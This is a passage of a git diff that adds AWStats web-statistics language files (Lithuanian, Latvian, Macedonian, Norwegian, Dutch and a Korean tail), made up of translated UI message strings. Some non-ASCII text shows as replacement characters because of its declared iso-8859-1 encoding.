+message88=목 +message89=금 +message90=토 +message91=요일별 통계 +message92=방문자 통계 +message93=방문시간 통계 +message94=인증된 사용자 +message95=최소 +message96=평균 +message97=최대 +message98=압축 +message99=압축으로 절약 +message100=압축전 +message101=압축후 +message102=합계 +message103=문장(문구)을 검색했습니다 +message104=접속횟수 +message105=코드 +message106=평균크기 +message107=뉴스그룹에서 링크 +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=예 +message113=아니오 +message114=정보. +message115=OK +message116=마지막 접속 +message117=머무른 시간 +message118=창 닫기 +message119=Bytes +message120=검색한 문장 +message121=검색한 단어 +message122=different refering search engines +message123=different refering sites +message124=그외 +message125=다른 로그인 (그리고/또는 익명의 사용자) +message126=참조한 검색엔진 +message127=참조한 사이트 +message128=전체 요약 +message129=Exact value not available in 'Year' view +message130=Data value arrays +message131=Sender EMail +message132=Receiver EMail +message133=기간 +message134=Extra/Marketing +message135=화면해상도 +message136=웜/바이러스의 공격 +message137=즐겨찾기에 추가 (추정값) +message138=이번달 접속통계 +message139=기타 정보 +message140=Java지원 브라우저 +message141=Macromedia Director지원 브라우저 +message142=Flash지원 브라우저 +message143=Real audio 재생 지원 브라우저 +message144=Quicktime audio 재생 지원 브라우저 +message145=Windows Media audio 재생 지원 브라우저 +message146=PDF지원 브라우저 +message147=SMTP 에러코드 +message148=국가 +message149=편지 +message150=크기 +message151=처음 +message152=마지막 +message153=제외할 단어 +message154=이곳에 표시된 코드는 기타접속에 해당하므로,다른 통계에는 포함되지 않았습니다. +message155=Cluster +message156=이곳에 표시된 검색로봇의 방문은 기타접속에 해당하므로,다른 통계에는 포함되지 않았습니다. +message157= + 표시 뒤의 숫자는 robots.txt파일을 정상적으로 확인한 숫자입니다. +message158=이곳에 표시된 웜바이러스의 방문은 기타접속에 해당하므로,다른 통계에는 포함되지 않았습니다. +message159=기타 접속은 검색엔진,웜바이러스,특수한HTTP코드에 의한 접속을 말합니다. +message160=접속 현황 +message161=기타 접속 +message162=올해의 접속통계 +message163=웜바이러스 +message164=웜바이러스 +message165=편지가 정상적으로 발송되었음 +message166=편지 보내기가 실패함/거부됨 +message167=Sensitive targets +message168=Javascript disabled +message169=제작 +message170=플러그인 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lt.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lt.txt new file mode 100644 index 0000000..966f74d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lt.txt @@ -0,0 +1,183 @@ +# Lithuanian message file (varas@lzuu.lt) +# Updated by edmondas@datalogistiikka.fi +# $Revision: 1.2 $ - $Date: 2013/05/12 17:35:59 $ +PageCode=utf-8 +message0=Nežinomas +message1=Nežinomi (nenustatyas ip adresas) +message2=Kiti +message3=Rodyti išsamiau +message4=Diena +message5=Mėnuo +message6=Metai +message7=Statistika +message8=Pirmas apsilankymas +message9=Paskutinis apsilankymas +message10=Viso aplankymų +message11=Unikalūs lankytojai +message12=Apsilankymas +message13=skirtingas(-i) raktinis(-iai) žodis(-žiai) +message14=Paieška +message15=Procentai +message16=Duomenų srautas +message17=Domenai/Šalys +message18=Lankytojai +message19=Puslapių adresai +message20=Valandos +message21=Naršyklės +message22= +message23=Persiuntėjai +message24=Duomenų bazėje nėra įrašų (Skaitykite 'Build/Update' skyrių awstats_setup.html puslapyje) +message25=Lankytojai domenai/šalys +message26=šaltiniai(hosts) +message27=puslapiai +message28=skirtingas(-i) puslapio(-ių)-adresas(-ai) +message29=Peržiūrėta +message30=Kiti žodžiai +message31=Nerasti puslapiai +message32=HTTP būsenų kodai +message33=Netscape versijos +message34=IE versijos +message35=Paskutinis atnaujinimas +message36=Prisijungta prie svetainės iš +message37=Kilmė +message38=Tiesioginis adresas / Adresyno įrašas / Nuoroda el. pašte... +message39=Nežinoma kilmė +message40=Nuorodos iš interneto paieškos sistemų +message41=Nuorodos iš išorinų puslapių (kitos interneto svetainė išskyrus paieškos sistemas) +message42=Nuorodos iš vidinių puslapių (kiti puslapiai iš tos pačios svetainės) +message43=Raktinės frazės naudotos paieškos sistemose +message44=Raktiniai žodžiai naudoti paieškos sistemose +message45=Nenustatyti IP adresai +message46=Nežinoma OS (naršyklės identifikacinis laukas) +message47=Ieškoti bet nerasti adresai (HTTP kodas 404) +message48=IP adresas +message49=Klaida Lankymų skaičius +message50=Nežinomos naršyklės (naršyklės identifikacinis laukas) +message51=skirtingas(-i) robotas(-ai) +message52=apsilankymai/lankytojai +message53=Robotai/Paieškos sistemų apsilankymai +message54=Nemokamas sisteminių įrašų failų analizatorius išplėstinei tinklapių statistikai +message55=iš +message56=Puslapiai +message57=Apsilankymai +message58=Versijos +message59=Operacinės sistemos +message60=Sau +message61=Vas +message62=Kov +message63=Bal +message64=Geg +message65=Bir +message66=Lie +message67=Rgp +message68=Rgs +message69=Spa +message70=Lap +message71=Gru +message72=Naršymo juosta +message73=Failo tipas +message74=Atnaujinti dabar +message75=Srautas +message76=Atgal į pagrindinį puslapį +message77=TOP +message78=yyyy mmm dd - HH:MM +message79=Filtras +message80=Visas sąrašas +message81=Lankytojų kompiuteriai +message82=Žinomi +message83=Robotai +message84=Sek +message85=Pir +message86=Ant +message87=Tre +message88=Ket +message89=Pen +message90=Šeš +message91=Savaitės dienos +message92=Kas +message93=Kada +message94=Prisijungę vartotojai +message95=Minimaliai +message96=Vidutiniškai +message97=Maksimaliai +message98=Tinklapio suspaudimo būdas +message99=Išsaugota srauto +message100=Suspaudimas įjungtas +message101=Suspaudimo rezultatas +message102=Viso +message103=skirtingos raktinės frazės +message104=Įrašas +message105=Kodas +message106=Vidutinis dydis +message107=Nuorodos iš naujienų grupių +message108=KB +message109=MB +message110=GB +message111=Duomenų vagis +message112=Taip +message113=Ne +message114=Info. +message115=Gerai +message116=Išeiti +message117=Apsilankymo trukmė +message118=Uždaryti langą +message119=Baitai +message120=Paieška Raktinės frazės +message121=Paieška Raktiniai žodžiai +message122=skirtingos nukreipiančios paieškos sistemos +message123=skirtingi nukreipiantys puslapiai +message124=Kitos frazės +message125=Kiti prisijungimai (ir/arba anoniminiai vartotojai) +message126=Nukreipiančios paieškos sistemos +message127=Nukreipiantys puslapiai +message128=Suvestinė +message129=Nėra tikslių duomenų 'Metinėje' ataskaitoje +message130=Duomenų reikšmių masyvai +message131=Siuntėjo el. pašto adresas +message132=Gavėjo el. pašto adresas +message133=Pranešimo periodas +message134=Papildomai/Marketingas +message135=Ekrano dydžiai +message136=Kirminų/Virusų atakos +message137=Pridėta į adresyną +message138=Mėnesio dienos +message139=Įvairūs +message140=Naršyklės su Java palaikymu +message141=Naršyklės su Macromedia Director palaikymu +message142=Naršyklės su Flash palaikymu +message143=Naršyklės su Real audio palaikymu +message144=Naršyklės su Quicktime garso grojimo palaikymu +message145=Naršyklės su Windows Media garso grojimo palaikymu +message146=Naršyklės su PDF palaikymu +message147=SMTP klaidų kodai +message148=Šalys +message149=Paštai +message150=Dydis +message151=Pirmas +message152=Paskutinis +message153=Išjungi filtrą +message154=Kodai kurie yra pateikti čia yra "nematomi" lankytojų, todėl jie nėra pateikti kituose grafikuose. +message155=Klasteris +message156=Robotų užklausos pažymėtos šiais kodais yra "nematomos" lankytojų, taigi jie nėra pateikti kituose grafikuose. +message157=Skaičiai nurodyti po + yra sėkmingų užklausų į "robots.txt" failą suma. +message158=Kirminų užklausos pažymėtos šiais kodais yra "nematomos" lankytojų, taigi jie nėra pateikti kituose grafikuose. +message159=Nematomas srautas - srautas generuojamas robotų, kirminų arba serverio atsakymų su specialiais HTTP būsenos kodais. +message160=Matomas srautas +message161=Nematomas srautas +message162=Mėnesio istorija +message163=Kirminai +message164=skirtingi kirminai +message165=Sėkmingai išsiųsti el. laiškai +message166=Atmesti el. laiškai +message167=Neskelbtini adresai +message168=Javascript išjungtas +message169=Sukurta su +message170=Pluginai +message171=Regionai +message172=Miestai +message173=Opera versijos +message174=Safari versijos +message175=Chrome versijos +message176=Konqueror versijos +message177=, +message178=Atsiuntimai diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lv.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lv.txt new file mode 100644 index 0000000..22786bf --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lv.txt @@ -0,0 +1,178 @@ +# Latviešu valodas ziņojumu fails (madmaster@gobbo.caves.lv) +# Updated by edvinsma@inbox.lv 2004/01/24 00:40:00 +# $Revision: 1.6 $ - $Date: 2012/11/20 23:15:29 $ +PageCode=utf-8 +message0=Nezināms +message1=Nezināms (neatpazīts ip) +message2=Citi +message3=Apskatīt izvērsti +message4=Diena +message5=Mēnesis +message6=Gads +message7=Statistika +message8=Pirmais apmeklējums +message9=Pēdējais apmeklējums +message10=Vizīšu skaits +message11=Unikālie apmeklētāji +message12=Apmeklējums +message13=atšķirīgi(s) atslēgvārdi(s) +message14=Meklēt +message15=Procenti +message16=Trafiks +message17=Domaini/Valstis +message18=Apmeklētāji +message19=Lapas-URL +message20=Stundas +message21=Pārlūkprogrammas +message22=HTTP Kļūdas +message23=Norādītāji +message24=Meklēt Atslēgvārdus +message25=Apmeklētāju domaini/valstis +message26=hosti +message27=lapas +message28=atšķirīgas lapas +message29=Skatītas lapas +message30=Citi vārdi +message31=Neatrastas lapas +message32=HTTP Kļūdu kodi +message33=Netscape versijas +message34=IE versijas +message35=Pēdējais jauninājums +message36=Pievienoties saitei no +message37=Oriģināli +message38=Tiešā adrese / Grāmatzīmes +message39=Orģināls nezināms +message40=Norādes no Interneta Meklēšanas Saitēm +message41=Norādes no ārējām lapām (citas web lapas izņemot meklēšanas saites) +message42=Links from an internal page (cita lapa šajā pašā saitē) +message43=Atslēgvārdi kas lietoti meklēšanas saitēs +message44=Kb +message45=Neatpazītas IP Addreses +message46=Nezināms OS (Norādes Lauks) +message47=Pieprasīts bet neatrasts URLs (HTTP kods 404) +message48=IP Addrese +message49=Kļuda Trāpījumi +message50=Nezināmi pārlūki (Norādes lauks) +message51=Apmeklējušie roboti +message52=apmeklējumi/apmeklētāji +message53=Roboti/Zirnekļi apmeklētāji +message54=Brīvs reālā laika logfailu analizators advancētai web statistikai +message55=no +message56=Lapas +message57=Trāpījumi +message58=Versijas +message59=Operētājsistēmas +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Mai +message65=Jūn +message66=Jūl +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigācija +message73=Failu tips +message74=Atjaunot +message75=Baiti +message76=Atpakaļ uz galveno lapu +message77=Augša +message78=dd mmm yyyy - HH:MM +message79=Filtrs +message80=Pilns saraksts +message81=Hosti +message82=Zināms +message83=Roboti +message84=Sv +message85=Pir +message86=Ot +message87=Tr +message88=Ce +message89=Pkt +message90=Se +message91=Nedēļas dienas +message92=Kas +message93=Kad +message94=Autentificētie lietotāji +message95=Min +message96=Vid +message97=Maks +message98=Web salīdzinājums +message99=saglabātais joslas platums +message100=Pirms kompresijas +message101=Pēc kompresijas +message102=Kopā +message103=Atšķirīgi atslēgvārdi +message104=Iejas lapas +message105=Kods +message106=Vidējais izmērs +message107=Saites no Ziņu grupām +message108=KB +message109=MB +message110=GB +message111=Savācējs +message112=Jā +message113=Nē +message114=WhoIs informācija +message115=OK +message116=Izejas pages +message117=Apmeklējuma ilgums +message118=Aizvērt logu +message119=Baiti +message120=Meklēšanas atslēgfrāzes +message121=Meklēšanas atslēgvārdi +message122=Citas meklētāju lapas ar atsaucēm +message123=Citas lapas ar atsaucēm +message124=Citas frāzes +message125=Anonīmie lietotāji +message126=Meklētāju lapas ar atsaucēm +message127=Lapas ar atsaucēm +message128=Kopsavilkums +message129=Precīza vērtība sadaļā "Gads" nav pieejama +message130=Datu vērību kopnes +message131=Sūtītāja adrese +message132=Saņēmēja adrese +message133=Atskaites periods +message134=Papildus/Mārketings +message135=Ekrāna izšķiršanas spēja +message136=Vīrusu uzbrukumi +message137=Pievienots izlasei +message138=Mēneša dienas +message139=Dažādi +message140=Pārlūkprogrammas ar Java atbalstu +message141=Pārlūkprogrammas ar Macromedia Director atbalstu +message142=Pārlūkprogrammas ar Flash atbalstu +message143=Pārlūkprogrammas ar RealAudio atbalstu +message144=Pārlūkprogrammas ar QuickTime atbalstu +message145=Pārlūkprogrammas ar Windows Media atbalstu +message146=Pārlūkprogrammas ar PDF atbalstu +message147=SMTP kļūdu kodi +message148=Valstis +message149=E-pasti +message150=Izmērs +message151=Sākums +message152=Beigas +message153=Izslēgšanas filtrs +message154=Šeit kodi parāda šāvienus vai trafiku, ko nav apskatījuši lietotāji, tāpēc viņi nav iekļauti citās diagrammās. +message155=Puduris +message156=Šeit uzrādītie roboti ir radījuši trāpijumus vai "nepskatīto" trafiku, tāpēc tie nav iekļauti citās diagrammās. +message157=Skaitlis pēc "+" ir veiksmīgo šāvienu skaits robots.txt failam. +message158=Šie ir uzrādīti trāpijumi vai trafiks ko radīja tīkla tārpi vai arī "neapskatītās" lapas, tāpēc tie nav iekļauti citās +diagrammās. +message159="Neapskatīto" trafiku ģenerē roboti, tīkla tārpi, vai arī atbildes ar specialo HTTP statusa kodu. +message160=Apskatīts trafiks +message161=Nav apskatīts trafiks +message162=Mēneša atskaite +message163=Tīkla tārpi +message164=Dažādi tīkla tārpi +message165=Veiksmīgi nosūtīti e-pasti +message166=Neveiksmīgas e-pasta sūtīšanas +message167=Ievainojamība +message168=Atslēgtsw Javascript +message169=Izveidojis +message170=spraudņi +message171=Reģioni +message172=Pilsētas \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-mk.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-mk.txt new file mode 100644 index 0000000..f574b10 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-mk.txt @@ -0,0 +1,174 @@ +# ���������� ������ �� awstats (editor@alibi.com.mk) +# $�������: 1.12 $ - $�����: 2005/06/01 00:40:00 $ +PageCode=iso-8859-1 +message0=��������� +message1=��������� (��� �������� ip ������) +message2=�������� +message3=���� ������ +message4=��� +message5=����� +message6=������ +message7=���������� �� +message8=���� ������ +message9=�������� ������ �� +message10=��� �� ������ +message11=Unique ������ +message12=������ +message13=�������� ������ ������� +message14=��������� +message15=������� +message16=�������� +message17=�������/���� +message18=���������� +message19=��������-URL +message20=������ +message21=�������� +message22= +message23=��������� +message24=������� �� � ���������� (���� �� 'Build/Update' �� awstats_setup.html ��������) +message25=���������� �� �������/���� +message26=������� +message27=������ +message28=�������� ������-url +message29=���������� +message30=�������� ������� +message31=�������� ��� �� �� ������ +message32=HTTP ������ ������ +message33=Netscape ������ +message34=IE ������ +message35=�������� ����� +message36=���� �� ����� �� +message37=������� +message38=�������� ������ / ������� +message39=��������� ������� +message40=������� �� ������������ ������ +message41=������� �� �������� �������� (���� �������� ��� ������, ��� ��������������) +message42=������� �� ��������� ������ (����� ������ �� ������ ��� ���) +message43=������ ����� ��������� �� ������������ ������ +message44=������ ������� ��������� �� ������������ ������ +message45=���������� IP ������ +message46=�������� ���������� ������ (������ ��� ��������) +message47=������ ��� ����������� �� URL (HTTP ��� 404) +message48=IP ������ +message49=������ ������ +message50=��������� �������� (������ ��� ��������) +message51=�������� ������ +message52=������/���������� +message53=�����/������ ���������� +message54=��������� ������� �� ������� �� ��� ������ �� ������ �����. �������� �������� ���������� +message55=�� +message56=������ +message57=������ +message58=������ +message59=���������� ������� +message60=��� +message61=��� +message62=��� +message63=��� +message64=�� +message65=��� +message66=��� +message67=��� +message68=��� +message69=��� +message70=��� +message71=��� +message72=��������� +message73=��� �� ��� +message74=������ �� ������������ +message75=Bandwidth +message76=����� �� ������� ������ +message77=���� +message78=dd mmm yyyy - HH:MM +message79=������ +message80=���� ����� +message81=������� +message82=������� +message83=������ +message84=��� +message85=��� +message86=��� +message87=��� +message88=��� +message89=��� +message90=��� +message91=������ �� �������� +message92=��� +message93=���� +message94=������������ ��������� +message95=��� +message96=������ �������� +message97=���� +message98=��� ��������� +message99=������� bandwidth +message100=�� ��������� +message101=��������� �� ��������� +message102=������ +message103=�������� ������ ����� +message104=������� +message105=��� +message106=������ �������� +message107=������� �� ��� ����� +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=�� +message113=�� +message114=����. +message115=�� ��� +message116=����� +message117=���������� �� �������� +message118=������� �� �������� +message119=Bytes +message120=���� ������ ����� +message121=���� ������ ������� +message122=�������� ������������ ������ +message123=�������� ������ +message124=�������� ����� +message125=�������� �������� (�/��� �������� ���������) +message126=�������� ������������ ������ +message127=�������� ������ +message128=���������� +message129=������� �������� �� � �������� �� ��������� �� '������' +message130=Data value arrays +message131=EMail �� ���������� +message132=EMail �� �������� +message133=�� ������ +message134=������/��������� +message135=�������� �� ������� +message136=����(Worm)/������ +message137=����� ���� ����� � ������� �� ������� (���������) +message138=������ �� ������� +message139=����� +message140=������� �� Java �������� +message141=������� �� Macromedia Director �������� +message142=������� �� Flash �������� +message143=������� �� Real audio playing �������� +message144=������� �� Quicktime audio playing �������� +message145=������� �� Windows Media audio playing �������� +message146=������� �� PDF �������� +message147=SMTP Error ������ +message148=���� +message149=������ +message150=�������� +message151=��� +message152=�������� +message153=�������� �� �������� +message154=�������� �������� ���� �� ������ ����� �� ������ ��� ���������� ��� �� �� "����������" �� ������������, �� ����� �� �� �������� �� ���������� ������. +message155=������� +message156=�������� ��������� �� ������� �� �� "����������" �� ������������, �� ����� �� �� �������� �� ���������� ������. +message157=�������� �� ������ + �� ������� ������ �� ����� "robots.txt". +message158=������ (Worms) ��������� �� �������� �� �� "����������" �� ������������, �� ����� �� �� �������� �� ���������� ������. +message159=���������� �� �� � ��������� �� �������� � ���������� �� ������, ����, ��� ����������� �� ��������� HTTP �������� ������. +message160=��������� �������� +message161=�� ��������� �������� +message162=������� ������ +message163=���� +message164=�������� ���� +message165=������� ��������� ������ +message166=���������/������� ������ +message167=�������� ���� +message168=��� Java �������� +message169=���������� �� +message170=Plugins diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nb.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nb.txt new file mode 100644 index 0000000..98b14ff --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nb.txt @@ -0,0 +1,171 @@ +# Norwegian Bokm�l message file (by Vemund F Jensen <vemund.jensen@sib.uib.no>) +# $Revision: 1.8 $ - $Date: 2004/04/09 19:18:33 $ +PageCode=iso-8859-1 +message0=Ukjent +message1=Ukjente (fant ikke vertsnavn) +message2=Andre +message3=Vis detaljer +message4=Dag +message5=M�ned +message6=�r +message7=Statistikk for +message8=F�rste bes�k +message9=Siste bes�k +message10=Antall bes�k +message11=Unike gjester +message12=Bes�k +message13=forskjellige s�keord +message14=S�k +message15=Prosent +message16=Trafikk +message17=Domene/land +message18=Gjester +message19=Sider/url-er +message20=Timefordeling +message21=Nettlesere +message22= +message23=Referenter +message24=Aldri oppdatert +message25=Bes�kendes domener/land +message26=verter +message27=sider +message28=forskjellige sider/url-er +message29=Viste sider +message30=Andre ord +message31=Manglende sider +message32=HTTP statuskoder +message33=Netscape-versjoner +message34=IE-versjoner +message35=Siste oppdatering +message36=Koblet til siden fra +message37=Opphav +message38=Direkteadresse/bokmerke +message39=Ukjent opphav +message40=Lenker fra s�kemotorer +message41=Lenker fra eksterne sider (andre nettsteder unntatt s�kemotorer) +message42=Lenker fra interne sider (andre sider p� samme nettsted) +message43=S�keuttrykk brukt i s�kemotorer +message44=S�keord brukt i s�kemotorer +message45=Ukjent vertsnavn +message46=Ukjent operativsystem (referentfelt) +message47=Dokument ikke funnet (HTTP feilkode 404) +message48=IP-adresse +message49=Feiltreff +message50=Ukjent nettleser (referentfelt) +message51=ulike roboter +message52=bes�k/gjest +message53=Robotbes�k +message54=Gratis sanntids logganalysator for avansert webstatistikk +message55=av +message56=Sider +message57=Treff +message58=Versjoner +message59=Operativsystemer +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Mai +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Des +message72=Navigasjon +message73=Filtype +message74=Oppdater n� +message75=Datamengde +message76=Tilbake til hovedsiden +message77=�verste +message78=yyyy-mm-dd - HH:MM +message79=Filter +message80=Full liste +message81=Verter +message82=kjente +message83=Roboter +message84=S�n +message85=Man +message86=Tir +message87=Ons +message88=Tor +message89=Fre +message90=L�r +message91=Ukedagsfordeling +message92=Hvem +message93=N�r +message94=Autentiserte brukere +message95=Min. +message96=Snitt +message97=Maks. +message98=Komprimering +message99=B�ndbredde spart +message100=Komprimering p� +message101=Komprimeringsresultat +message102=Total +message103=forskjellige s�keuttrykk +message104=Inngangssider +message105=Kode +message106=Gjennomsnittst�rrelse +message107=Lenker fra diskusjonsgrupper +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ja +message113=Nei +message114=Info +message115=OK +message116=Utgangssider +message117=Bes�kslengde +message118=Lukk vindu +message119=Bytes +message120=S�keuttrykk +message121=S�keord +message122=forskjellige refererende s�kemotorer +message123=forskjellige refererende nettsteder +message124=Andre uttrykk +message125=Andre p�logginger (og/eller anonyme brukere) +message126=Refererende s�kemotorer +message127=Refererende nettsteder +message128=Sammendrag +message129=N�yaktig antall ikke tilgjengelig i �rssammendraget +message130=Verditabeller +message131=E-post (avsender) +message132=E-post (mottaker) +message133=Rapportperiode +message134=Ekstra +message135=Skjermst�rrelser +message136=Orm-/virusangrep +message137=Lagt til favoritter (estimat) +message138=M�nedsoversikt +message139=Forskjellig +message140=Nettlesere med st�tte for Java +message141=Nettlesere med st�tte for Macromedia Director +message142=Nettlesere med st�tte for Flash +message143=Nettlesere med st�tte for Real lydavspilling +message144=Nettlesere med st�tte for Quicktime lydavspilling +message145=Nettlesere med st�tte for Windows Media lydavspilling +message146=Nettlesere med st�tte for PDF +message147=SMTP feilkoder +message148=Land +message149=Meldinger +message150=St�rrelse +message151=F�rste +message152=Siste +message153=Sperrefilter +message154=Disse kodene gav treff eller trafikk som ikke ble vist i nettleseren, og er ikke inkludert i andre oversikter. +message155=Klynge +message156=Roboter vist her gav treff eller trafikk som ikke ble vist i nettleseren, og er ikke inkludert i andre oversikter. +message157=Antall etter + er treff p� "robots.txt"-filer. +message158=Ormer vist her gav treff eller trafikk som ikke ble vist i nettleseren, og er ikke inkludert i andre oversikter. +message159=Ikke-vist trafikk er trafikk generert av roboter, ormer eller HTTP-trafikk med spesielle statuskoder. +message160=Vist trafikk +message161=Ikke-vist trafikk +message162=�rsoversikt +message163=Ormer +message164=Ulike ormer +message165=Vellykkede e-postforsendelser +message166=Mislykkede/avviste e-postforsendelser +message167=Sensitive m�l \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nl.txt new file mode 100644 index 0000000..ab10e7b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nl.txt @@ -0,0 +1,179 @@ +# Dutch message file (door Amedee Van Gasse - amedee.be) +# Addon by Marcel Huijkman - marcel.huijkman@raketnet.nl +# Reviewed 2007-09-15 by H. Hahn - h.hahn@hahn-informatica.nl +# $Revision: 1.18 $ - $Date: 2008/11/15 15:00:16 $ +message0=Onbekend +message1=Onbekend (niet-herleide IP-adressen) +message2=Overige +message3=Details bekijken +message4=Dag +message5=Maand +message6=Jaar +message7=Statistieken van +message8=Eerste bezoek +message9=Laatste bezoek +message10=Aantal bezoeken +message11=Unieke bezoekers +message12=bezoek +message13=trefwoorden +message14=Zoeken +message15=Procent +message16=Verkeer +message17=Domeinen/landen +message18=Bezoekers +message19=Pagina’s/URL’s +message20=Uren +message21=Browsers +message22=HTTP-foutmeldingen +message23=Verwijzing +message24=Zoek trefwoorden +message25=Bezoekers domeinen/landen +message26=Hosts +message27=pagina’s +message28=verschillende pagina’s +message29=Bezoeken +message30=Andere woorden +message31=Niet-gevonden pagina’s +message32=HTTP-foutcodes +message33=Netscape versies +message34=MS Internet Explorer versies +message35=Bijgewerkt t/m +message36=Verbinding naar site vanaf +message37=Herkomst +message38=Directe adressering / bladwijzers +message39=Herkomst onbekend +message40=Vanuit internetzoeksystemen +message41=Vanuit externe pagina’s (andere sites, m.u.v. zoeksystemen) +message42=Vanuit interne pagina’s (andere pagina van dezelfde site) +message43=Gebruikte trefzinnen bij zoeksystemen +message44=Gebruikte trefwoorden bij zoeksystemen +message45=Niet-herleide IP-adressen +message46=Onbekend OS (veld ‘Referrer&rsquo) +message47=Opgevraagde maar niet-gevonden URLs (HTTP code 404) +message48=IP-adres +message49=Mislukte hits +message50=Onbekende browsers (Referer veld) +message51=Bezoekende robots +message52=bezoeken/bezoeker +message53=Robots/spiders +message54=Gratis realtime-logbestandanalyzer voor geavanceerde webstatistieken +message55=van +message56=Pagina’s +message57=Hits +message58=Versies +message59=Besturingssystemen +message60=jan. +message61=febr. +message62=mrt. +message63=april +message64=mei +message65=juni +message66=juli +message67=aug. +message68=sept. +message69=okt. +message70=nov. +message71=dec. +message72=Navigatie +message73=Bestandstypen +message74=Nu bijwerken +message75=Bytes +message76=Terug naar hoofdpagina +message77=Top +message78=dd mmm yyyy - HH.MM +message79=Filter +message80=Volledige lijst +message81=Hosts +message82=Bekend +message83=Robots +message84=zo +message85=ma +message86=di +message87=wo +message88=do +message89=vr +message90=za +message91=Weekdagen +message92=Wie +message93=Wanneer +message94=Ingelogde bezoekers +message95=Min +message96=Gemiddeld +message97=Max +message98=Webcompressie +message99=Bespaarde bandbreedte +message100=Vóór compressie +message101=Na compressie +message102=Totaal +message103=verschillende trefzinnen +message104=Binnenkomst +message105=Code +message106=Gemiddelde grootte +message107=Links vanuit een nieuwsgroep +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ja +message113=Nee +message114=WhoIs-info +message115=OK +message116=Vertrek +message117=Duur bezoeken +message118=Venster sluiten +message119=Bytes +message120=Gebruikte trefzinnen +message121=Gebruikte trefwoorden +message122=verschillende verwijzende zoeksystemen +message123=verschillende verwijzende sites +message124=Andere zinnen +message125=Andere logins (en/of anonieme gebruikers) +message126=Verwijzende zoeksystemen +message127=Verwijzende sites +message128=Samenvatting +message129=Exacte waarde niet beschikbaar in jaaroverzicht +message130=Data value arrays +message131=E-mail afzender +message132=E-mail ontvanger +message133=Rapportageperiode +message134=Extra/marketing +message135=Schermresoluties +message136=Worm- of virusaanvallen +message137=Aan favorieten/bladwijzers toegevoegd (relatieve indicatie) +message138=Dagen van maand +message139=Diversen +message140=Browsers met ondersteuning Java +message141=Browsers met ondersteuning Macromedia Director +message142=Browsers met ondersteuning Flash +message143=Browsers met ondersteuning Real audio +message144=Browsers met ondersteuning Quicktime audio +message145=Browsers met ondersteuning Windows Media audio +message146=Browsers met ondersteuning PDF +message147=SMTP foutcodes +message148=Landen +message149=Mails +message150=Grootte +message151=Eerste +message152=Laatste +message153=Uitsluitingsfilter +message154=Deze codes geven „niet bekeken” door bezoekers, daarom worden ze niet in andere tabellen getoond +message155=Cluster +message156=Robots geven „niet bekeken” door bezoekers, daarom worden ze niet in andere tabellen getoond +message157=Getallen achter ‘+’ zijn geslaagde hits op „robots.txt” bestanden. +message158=Wormen geven „niet bekeken” door bezoekers, daarom worden ze niet in andere tabellen getoond +message159=„Niet bekeken” is verkeer dat gegenereerd werd door robots of wormen, of respons met een speciale HTTP-statuscode. +message160=Bekeken verkeer +message161=Niet-bekeken verkeer +message162=Maandelijkse historie +message163=Wormen +message164=verschillende wormen +message165=Successvolle mails +message166=Geweigerde of slechte mails +message167=Gevoelige doelen +message168=Javascript uitgeschakeld +message169=Gegenereerd door +message170=Plugins +message171=Regio’s +message172=Steden + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nn.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nn.txt new file mode 100644 index 0000000..6a2261b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nn.txt @@ -0,0 +1,159 @@ +# Norwegian Nynorsk message file (by Karl Ove Hufthammer <karl@huftis.org>) +# $Revision: 1.24 $ - $Date: 2003/09/20 15:45:33 $ +PageCode=iso-8859-1 +message0=Ukjent +message1=ukjente (fann ikkje vertsnamn) +message2=Andre +message3=Vis detaljar +message4=Dag +message5=M�nad +message6=�r +message7=Statistikk for +message8=F�rste bes�k +message9=Siste bes�k +message10=Talet p� bes�k +message11=Unike gjestar +message12=Bes�k +message13=forskjellige s�kjeord +message14=S�k +message15=Prosent +message16=Trafikk +message17=Domene/land +message18=Gjestar +message19=Sider +message20=Timar +message21=Nettlesarar +message22=HTTP-feil +message23=Referentar +message24=Aldri oppdatert +message25=Domene/land +message26=vertar +message27=sider +message28=forskjellige sider +message29=Viste sider +message30=Andre ord +message31=Manglande sider +message32=HTTP-feilkodar +message33=Netscape-versjonar +message34=IE-versjonar +message35=Siste oppdatering +message36=Kopla til sida fr� +message37=Opphav +message38=Direkteadresse/bokmerke +message39=Ukjent opphav +message40=Lenkjer fr� s�kjemotorar +message41=Lenkjer fr� eksterne sider (ikkje s�kjemotorar) +message42=Lenkjer fr� interne sider (sider p� same nettstad) +message43=S�kjeuttrykk brukt +message44=S�kjeord brukt +message45=Ukjente vertsnamn (IP-adresse) +message46=Ukjente OS (referentfelt) +message47=Manglande sider (HTTP-feilkode 404) +message48=IP-adresse +message49=Feiltreff +message50=Ukjente nettlesarar +message51=forskjellige robotar +message52=bes�k/gjest +message53=Robotbes�k +message54=Gratis 